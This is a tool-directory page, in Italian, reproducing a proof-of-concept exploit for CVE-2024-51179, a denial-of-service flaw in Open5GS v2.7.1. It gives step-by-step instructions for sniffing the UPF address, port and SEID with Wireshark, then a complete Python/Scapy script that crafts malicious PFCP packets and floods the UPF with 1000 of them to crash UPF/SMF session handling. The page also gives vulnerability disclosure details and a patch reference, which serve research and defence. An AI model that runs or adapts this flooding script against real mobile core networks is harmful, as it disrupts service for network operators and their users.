Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-51179 — Exploit proof-of-concept per CVE-2024-51179: l'inondazione di pacchetti PFCP appositamente creati causa un denial of service in Open5GS UPF/SMF, interrompendo l'instaurazione delle sessioni PDU del core 5G. | Kitploit
Strumenti/GitHubGitHub/lakshmirnr/cve-2024-51179
Sniffing e Analisi dei PacchettiAnalisi delle VulnerabilitàExploitSicurezza di RetePenetration Testing
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Exploit proof-of-concept per CVE-2024-51179: l'inondazione di pacchetti PFCP appositamente creati causa un denial of service in Open5GS UPF/SMF, interrompendo l'instaurazione delle sessioni PDU del core 5G.

Vedi Repository
431 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-51179 : L'inondazione di pacchetti manipolati da un attaccante può far crashare UPF/SMF in Open5gs

Descrizione della vulnerabilità

Descrizione: Un problema in Open5GS v.2.7.1 consente a un attaccante remoto di causare un denial of service attraverso le Virtualizzazioni delle Funzioni di Rete (NFV), come la User Plane Function (UPF) e la Session Management Function (SMF). Il processo di stabilimento della sessione Packet Data Unit (PDU) è influenzato dai crash che si verificano all'interno delle NFV.

Un attaccante, dopo aver ottenuto l'indirizzo IP della User Plane Function (UPF), la porta PFCP e il SEID (Session Endpoint Identifier), può creare e inondare di pacchetti PFCP (Packet Forwarding Control Protocol) dannosi la UPF. I parametri necessari possono essere intercettati usando strumenti come Wireshark se l'attaccante ha accesso al traffico del piano utente.

Tipo di vulnerabilità: Denial of Service

Impatto: All'invio del pacchetto dannoso, la UPF diventa errata, influenzando la creazione di nuove sessioni PDU. Inoltre, la SMF (Session Management Function) è influenzata a causa dell'inondazione di pacchetti PFCP dannosi, interrompendo le funzioni del Core.

PASSI PER RIPRODURRE L'ATTACCO

Prerequisiti: La rete core 5G è stata configurata utilizzando Open5GS come rete core e UERANSIM come strumento di emulazione per la gNB (Next Generation NodeB) e l'UE (User Equipment).

PASSI PER ESEGUIRE L'ATTACCO

  • Assicurati che Open5GS sia in esecuzione controllando lo stato dei componenti di Open5GS (AMF, SMF, UPF, ecc.)
  • Verifica la creazione di una sessione PDU utilizzando UERANSIM per avviare una sessione PDU e catturare il traffico con Wireshark.
  • Apri Wireshark e seleziona l'interfaccia di rete utilizzata per il piano utente.
  • Avvia la cattura del traffico con un filtro di visualizzazione per i pacchetti PFCP:
  • Avvia una sessione PDU da UERANSIM per assicurarti che i pacchetti PFCP siano visibili nella cattura.
  • In Wireshark, trova e annota l'indirizzo IP della UPF, la porta UPF (di solito 8805) e il SEID dai pacchetti PFCP catturati.
  • Usa il seguente script per inondare la UPF con i pacchetti.
  • root@kitploit:~
    #!/usr/bin/env python3
    from scapy.all import *
    from scapy.layers.inet import IP, UDP
    import socket
    import struct
    UPF_IP = "192.168.56.113"  
    UPF_PORT = 8805  
    message_type = 53  
    sequence_number = 1
    seid = 0x0010000000000000  
    version = 1 
    spare = 0
    mp = 0  
    s_flag = 1  
    byte0 = (version << 5) | (s_flag << 2)
    length = 0  
    seid_bytes = seid.to_bytes(8, 'big')
    sequence_number_bytes = sequence_number.to_bytes(3, 'big')
    pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
    ie_type = 150  
    ie_length = 13
    flags = 0x01
    fseid_seid = seid.to_bytes(8, 'big')
    fseid_ipv4 = socket.inet_aton(UPF_IP)
    fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
    pfcp_message = pfcp_header + fseid_ie
    pfcp_message_length = len(pfcp_message) - 4  
    pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
    pfcp_message = pfcp_header_with_length + fseid_ie
    packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
    packet[UDP].chksum = None
    print(f"Packet Summary: {packet.summary()}")
    hexdump(packet)
    for _ in range(1000):  
        send(packet)
    print("Sent 1000 malicious PFCP packets to UPF.")
    
    1. Monitora l'impatto sulla rete usando Wireshark o controlla i log per osservare eventuali anomalie o fallimenti nell'elaborazione dei pacchetti.
    2. Prova a creare nuove sessioni PDU da UERANSIM per vedere se la creazione fallisce a causa dell'inondazione.

    STATO DELLA SMF DOPO L'ATTACCO

    smfcurrent

    CATTURA WIRESHARK DEL PACCHETTO DANNOSO

    377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

    STATO ATTUALE

    La vulnerabilità, documentata come Issue #3497 sulla pagina GitHub di Open5GS (https://github.com/open5gs/open5gs/issues/3497), è stata segnalata al venditore di Open5GS, che ha identificato la causa principale come un problema di deallocazione della memoria che porta a crash di sistema. Una patch è stata applicata e il codice è stato aggiornato per risolvere il problema. Puoi visualizzare il codice aggiornato qui.

    https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

    CVE-2024-51179 è stata pubblicata.

    CREDITI

    DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)

    Scarica lo strumento